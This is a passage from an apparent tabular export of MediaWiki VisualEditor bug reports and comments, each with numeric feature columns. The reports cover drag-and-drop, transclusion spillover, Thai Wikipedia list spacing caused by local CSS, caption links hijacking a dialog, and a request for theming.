**Severity**: enhancement",Needs Triage,90.0,1375319220,1375319436.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-vs6adtg7gilhg5r2g74x,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.068181818181818,0.7045454545454546,"Request to introduce drag and drop for text passages; there are also bugs for images around (obviously).

Report:

URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
254818,drag and drop for text,"There's already bug 49981 for drag-and-drop of content in general; I don't think this is sufficiently different (drag-and-drop of text is not sufficiently distinct from drag-and-drop of non-text to be worth splitting out), so merging.

*** This bug has been marked as a duplicate of bug 49981 ***",,,1375319436,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vs6adtg7gilhg5r2g74x,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,1.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,1.0,0.0,8.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,5.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,1.0,14.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.3783783783783785,0.6486486486486487,"There's already bug 49981 for drag-and-drop of content in general; I don't think this is sufficiently different (drag-and-drop of text is not sufficiently distinct from drag-and-drop of non-text to be worth splitting out), so merging.

*** This bug has been marked as a duplicate of bug 49981 ***"
54307,Contents of pre-existing transclusion saved to article adjacent to transclusion,"https://pl.wikipedia.org/w/index.php?title=Octan_etylu&curid=217010&diff=37144425&oldid=37144363

This may be a template that got subst'd in VisualEditor.  It produces this text:

 <div class=""do-not-make-smaller refsection references-column-count references-1column"">
 <references />
 </div>

Something sensible ought to be done with this, but I'm not sure what the right answer is.  (Yes, that's in English, even though it's not an English-language project.)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375232040,1393528114.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-qwinndvqnthzbul47nb3,task_description,declined,True,c1,3,False,False,False,4,,0.0,0.5,0.0,0.5,2.5,5.5,0.5,0.0,1.0,0.0,1.5,1.0,0.0,0.0,0.0,1.0,0.0,3.5,4.5,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,4.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,8.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,2.0,8.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,2.5,4.5,2.0,0.0,0.5,0.0,2.5,0.0,1.5,1.5,0.0,0.0,0.5,0.0,2.5,3.6574074074074074,0.75,"URL

This may be a template that got subst'd in VisualEditor.  It produces this text:

 <div class=""do-not-make-smaller refsection references-column-count references-1column"">
 <references />
 </div>

Something sensible ought to be done with this, but I'm not sure what the right answer is.  (Yes, that's in English, even though it's not an English-language project.)

--------------------------
**Version**: unspecified
**Severity**: normal"
251756,Contents of pre-existing transclusion saved to article adjacent to transclusion,I believe all these issues were fixed months ago (sorry for very slow triage).,,,1393528114,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qwinndvqnthzbul47nb3,task_subcomment,,True,c1,3,True,,,34,,6.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,1.0,I believe all these issues were fixed months ago (sorry for very slow triage).
251750,Contents of pre-existing transclusion saved to article adjacent to transclusion,"That's the contents of the {{Przypisy}} template. It looks like they ""spilled out"". Parsoid issue?",,,1378424053,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-qwinndvqnthzbul47nb3,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,8.0,4.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.36,0.8,"That's the contents of the {{Przypisy}} template. It looks like they ""spilled out"". Parsoid issue?"
54291,VisualEditor: Editing surface displays non-existent spaces after bullet points in Thai Wikipedia,"Image of issue

Upon loading VE in Thai wikipedia in an article with a bulleted list, spaces are added after bullets in the edit view.  Attempts to remove the spaces remove the preceding bullet.  Spaces are not added upon Save, but will lead to confusion for editors.

Duplicated in FF, Chrome.  Ubuntu, OS 10.6.8

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11736}",Needs Triage,90.0,1375213740,1415880871.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-ifh6gryuu6hee6pcadvb,task_description,invalid,True,c1,3,False,False,False,4,,0.0,0.0,0.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,17.0,2.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,13.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7578947368421054,0.631578947368421,"Image of issue

Upon loading VE in Thai wikipedia in an article with a bulleted list, spaces are added after bullets in the edit view.  Attempts to remove the spaces remove the preceding bullet.  Spaces are not added upon Save, but will lead to confusion for editors.

Duplicated in FF, Chrome.  Ubuntu, OS 10.6.8

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11736}"
250586,VisualEditor: Editing surface displays non-existent spaces after bullet points in Thai Wikipedia,"This is because the Thai Wikipedia has this CSS in its Common.css:

| /* A request by octahedron80 19:13, 7 ธันวาคม 2554 (ICT) */
| .mw-content-ltr dd, .mw-content-rtl .mw-content-ltr dd {
|     margin-left: 2.5em;
| }
| .mw-content-ltr ul, .mw-content-rtl .mw-content-ltr ul {
|     margin-left: 2.5em;
| }
| .mw-content-ltr ol, .mw-content-rtl .mw-content-ltr ol {
|     margin-left: 2.5em;
| }

There's no justification for it beyond who requested it, so I can't judge whether the purpose it serves is sufficient, but it's deliberate.

As this is based on local wiki configuration, marking as INVALID.",,,1415880871,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ifh6gryuu6hee6pcadvb,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,0.5,0.5,6.0,1.0,0.5,0.0,0.0,1.5,0.5,0.0,0.0,0.5,0.5,0.0,4.5,5.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,4.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,14.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,1.5,6.0,1.0,1.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,3.0,0.0,3.5,5.0,7.5,0.0,0.0,0.0,3.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,3.0057471264367814,0.5459770114942528,"This is because the Thai Wikipedia has this CSS in its Common.css:

| /* A request by octahedron80 19:13, 7 ธันวาคม 2554 (ICT) */
| .mw-content-ltr dd, .mw-content-rtl .mw-content-ltr dd {
|     margin-left: 2.5em;
| }
| .mw-content-ltr ul, .mw-content-rtl .mw-content-ltr ul {
|     margin-left: 2.5em;
| }
| .mw-content-ltr ol, .mw-content-rtl .mw-content-ltr ol {
|     margin-left: 2.5em;
| }

There's no justification for it beyond who requested it, so I can't judge whether the purpose it serves is sufficient, but it's deliberate.

As this is based on local wiki configuration, marking as INVALID."
250577,VisualEditor: Editing surface displays non-existent spaces after bullet points in Thai Wikipedia,"**KaewWiki** wrote:

(In reply to comment #0)
> Created attachment 13022 [details]
> Image of issue
> 
> Upon loading VE in Thai wikipedia in an article with a bulleted list, spaces
> are added after bullets in the edit view.  Attempts to remove the spaces
> remove
> the preceding bullet.  Spaces are not added upon Save, but will lead to
> confusion for editors.
> 
> Duplicated in FF, Chrome.  Ubuntu, OS 10.6.8

Also in the same image, at the end of reference section
(in Thai {{รายการอ้างอิง}}) and immediately before {{stub}} (in Thai
{{โครงกฎหมาย}}), VE displayed additional blank line where it should
not do so.

**Attached**: {F11736}",,,1385522381,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-ifh6gryuu6hee6pcadvb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,5.5,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,11.5,1.0,1.0,1.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,1.0,5.5,9.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.97078431372549,0.5649019607843138,"**KaewWiki** wrote:

(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Also in the same image, at the end of reference section
(in Thai {{รายการอ้างอิง}}) and immediately before {{stub}} (in Thai
{{โครงกฎหมาย}}), VE displayed additional blank line where it should
not do so.

**Attached**: {F11736}"
250569,VisualEditor: Editing surface displays non-existent spaces after bullet points in Thai Wikipedia,"Example page on th.wp:
https://th.wikipedia.org/wiki/กฎหมายปิดปาก?veaction=edit

I can't reproduce this with Thai text on en.wp. See for example https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=575310209&veaction=edit",,,1380645842,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-ifh6gryuu6hee6pcadvb,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,17.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4782608695652173,0.9130434782608695,"Example page on th.wp:
URL

I can't reproduce this with Thai text on en.wp. See for example URL"
54285,VisualEditor: Following links in image captions that have a large <font size=> value takes over media settings dialog which can't then be closed,"link target takes over media settings dialog

If text has a size specified, e.g <font size=12>, then you cannot edit it in VE at present. The bar that notifies you of this is fixed to standard line height so you can click on links that extend above or beyond this, e.g. <font size=12>text with a [[link]]</font>.

If such a link appears in body text, then clicking it takes you to the link target in the same window (i.e. exactly the same as if you clicked on it in read mode). If you ctrl+click to open in a new window/tab then you get the same behaviour as described for section links in bug 51122.

If such a link appears in an image caption, then ctrl+clicking has the same effect as in the paragraph above/bug 51122. Left clicking does take you to the linked page, but instead of using the main window it uses the media settings dialog's frame (see screenshot). You cannot close this frame - the close button has been replaced by the link target and it doesn't respond to escape.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11727}",Needs Triage,90.0,1375209840,1385396898.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-aowfgq4eh3wcjsqyftty,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,0.6666666666666666,1.0,4.0,0.0,0.0,0.0,1.6666666666666667,4.666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,4.0,11.333333333333334,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,5.333333333333333,0.3333333333333333,1.6666666666666667,0.0,3.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,15.333333333333334,0.6666666666666666,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,6.333333333333333,0.6666666666666666,4.333333333333333,2.0,1.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.6666666666666666,0.0,5.0,11.333333333333334,2.3333333333333335,0.0,0.0,0.0,5.0,0.0,0.6666666666666666,2.0,0.0,1.0,0.0,0.0,3.3333333333333335,3.681672187092241,0.6735421057914283,"link target takes over media settings dialog

If text has a size specified, e.g <font size=12>, then you cannot edit it in VE at present. The bar that notifies you of this is fixed to standard line height so you can click on links that extend above or beyond this, e.g. <font size=12>text with a [[link]]</font>.

If such a link appears in body text, then clicking it takes you to the link target in the same window (i.e. exactly the same as if you clicked on it in read mode). If you ctrl+click to open in a new window/tab then you get the same behaviour as described for section links in bug 51122.

If such a link appears in an image caption, then ctrl+clicking has the same effect as in the paragraph above/bug 51122. Left clicking does take you to the linked page, but instead of using the main window it uses the media settings dialog's frame (see screenshot). You cannot close this frame - the close button has been replaced by the link target and it doesn't respond to escape.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11727}"
250209,VisualEditor: Following links in image captions that have a large <font size=> value takes over media settings dialog which can't then be closed,"This has the same root cause as bug 51778, despite the names; merging.

*** This bug has been marked as a duplicate of bug 51778 ***",,,1385396898,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aowfgq4eh3wcjsqyftty,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,6.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.176470588235294,0.6470588235294118,"This has the same root cause as bug 51778, despite the names; merging.

*** This bug has been marked as a duplicate of bug 51778 ***"
250200,VisualEditor: Following links in image captions that have a large <font size=> value takes over media settings dialog which can't then be closed,Cryptic C62 and en.wp has noted that he can replicate this in Firefox 22 and Chrome 28 running on Windows Vista. Both they and I use the monobook skin.,,,1375227469,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-aowfgq4eh3wcjsqyftty,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,26.0,3.0,10.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,10.0,10.0,23.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.967741935483871,0.9032258064516129,Cryptic C62 and en.wp has noted that he can replicate this in Firefox 22 and Chrome 28 running on Windows Vista. Both they and I use the monobook skin.
250194,VisualEditor: Following links in image captions that have a large <font size=> value takes over media settings dialog which can't then be closed,"Steps to reproduce:

1. Edit https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox2&oldid=566460073#New_section in VE
2. Click on the last image and open the media settings dialog
3. Left click the link above the ""can only edit in source"" bar.

This happens in Firefox 22 on Linux, I can't test in other browsers/OSes.",,,1375210111,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-aowfgq4eh3wcjsqyftty,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,2.0,0.0,3.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,2.0,13.0,11.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.193548387096774,0.7741935483870968,"Steps to reproduce:

1. Edit URL in VE
2. Click on the last image and open the media settings dialog
3. Left click the link above the ""can only edit in source"" bar.

This happens in Firefox 22 on Linux, I can't test in other browsers/OSes."
54270,VisualEditor should be themeable by the user with custom CSS,"A user at en.wp comments that VisualEditor looks best in the Vector skin, but that it would be better if ""manual CSS theming"" were supported.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1375182720,1384864881.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_description,declined,True,c1,3,False,False,False,4,,0.0,0.0,0.0,2.0,0.0,11.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,6.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,11.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,4.127659574468085,0.7659574468085106,"A user at en.wp comments that VisualEditor looks best in the Vector skin, but that it would be better if ""manual CSS theming"" were supported.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
249376,VisualEditor should be themeable by the user with custom CSS,"**gryllida** wrote:

I understand you expect folks to either 1) look into having existing themes change the VisualEditor appearance to fit their style, or 2) to look into using CSS. As the latter is not user-friendly for non-technical users I will look into the former. Thank you.",,,1384945365,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,10.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,8.0,13.0,5.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,3.7301587301587302,0.7301587301587301,"**gryllida** wrote:

I understand you expect folks to either 1) look into having existing themes change the VisualEditor appearance to fit their style, or 2) to look into using CSS. As the latter is not user-friendly for non-technical users I will look into the former. Thank you."
249373,VisualEditor should be themeable by the user with custom CSS,"(In reply to comment #8)
> [...] when the rest of MediaWiki is designed to be consistent.

:-)",,,1384871317,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8181818181818183,1.0,"(In reply to comment #8)
QUOTE

:-)"
249371,VisualEditor should be themeable by the user with custom CSS,"(In reply to comment #5)
> My original query was in making different styles available for an average
> user, who has no CSS experience.

Then that's a question for MediaWiki core, not VisualEditor; VisualEditor just inherits its styling from MediaWiki.

Certainly, we are not going to build a custom-styling tool just for VisualEditor when the rest of MediaWiki is designed to be consistent.",,,1384864881,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,2.0,3.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,3.0,13.0,10.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,4.114754098360656,0.7377049180327869,"(In reply to comment #5)
QUOTE
QUOTE

Then that's a question for MediaWiki core, not VisualEditor; VisualEditor just inherits its styling from MediaWiki.

Certainly, we are not going to build a custom-styling tool just for VisualEditor when the rest of MediaWiki is designed to be consistent."
249368,VisualEditor should be themeable by the user with custom CSS,"Hey James,
I am reopening this to understand whether Gryllida's concerns can/should be addressed, and because the user understands, from the logs of a recent office hour, that you welcome feedback from users about this topic. Gryllida is asking for a set of themes for the Toolbar from which the user can choose the one he/she wants (and provided examples in comment #2).

Other users instead were hoping that graphic solutions that are now possible by changing one's CSS are made more easily accessible in VE itself. I for one am not really good at editing my CSS page, but I could easily check a box that lets me choose a different background color that makes it more obvious when I'm VEditing (and would gladly do so).

So there are probably 2 different requests here, and I can split them if one of them can be worked on.
Thanks :)",,,1383834351,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,1.5,0.5,5.0,0.5,0.5,0.0,0.5,1.5,0.5,0.0,0.0,1.0,4.0,0.0,8.0,11.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,2.5,0.5,0.0,6.5,2.0,1.0,0.5,0.5,0.0,0.0,0.5,1.0,0.0,2.0,0.5,1.0,0.0,0.0,0.0,1.5,1.0,11.5,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,1.0,0.0,0.0,0.0,1.5,0.0,4.5,5.0,9.0,3.0,2.5,6.0,0.0,0.5,0.0,0.5,4.5,0.5,2.0,0.0,8.5,11.0,3.0,0.0,0.0,0.0,8.5,0.0,2.5,2.0,2.5,2.5,1.0,0.0,0.0,3.8970888661899896,0.7741317671092951,"Hey James,
I am reopening this to understand whether Gryllida's concerns can/should be addressed, and because the user understands, from the logs of a recent office hour, that you welcome feedback from users about this topic. Gryllida is asking for a set of themes for the Toolbar from which the user can choose the one he/she wants (and provided examples in comment #2).

Other users instead were hoping that graphic solutions that are now possible by changing one's CSS are made more easily accessible in VE itself. I for one am not really good at editing my CSS page, but I could easily check a box that lets me choose a different background color that makes it more obvious when I'm VEditing (and would gladly do so).

So there are probably 2 different requests here, and I can split them if one of them can be worked on.
Thanks :)"
249365,VisualEditor should be themeable by the user with custom CSS,"**gryllida** wrote:

Elitre, please file a new bug, my query you pasted does not belong here.",,,1383293007,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.16,0.84,"**gryllida** wrote:

Elitre, please file a new bug, my query you pasted does not belong here."
249360,VisualEditor should be themeable by the user with custom CSS,"**gryllida** wrote:

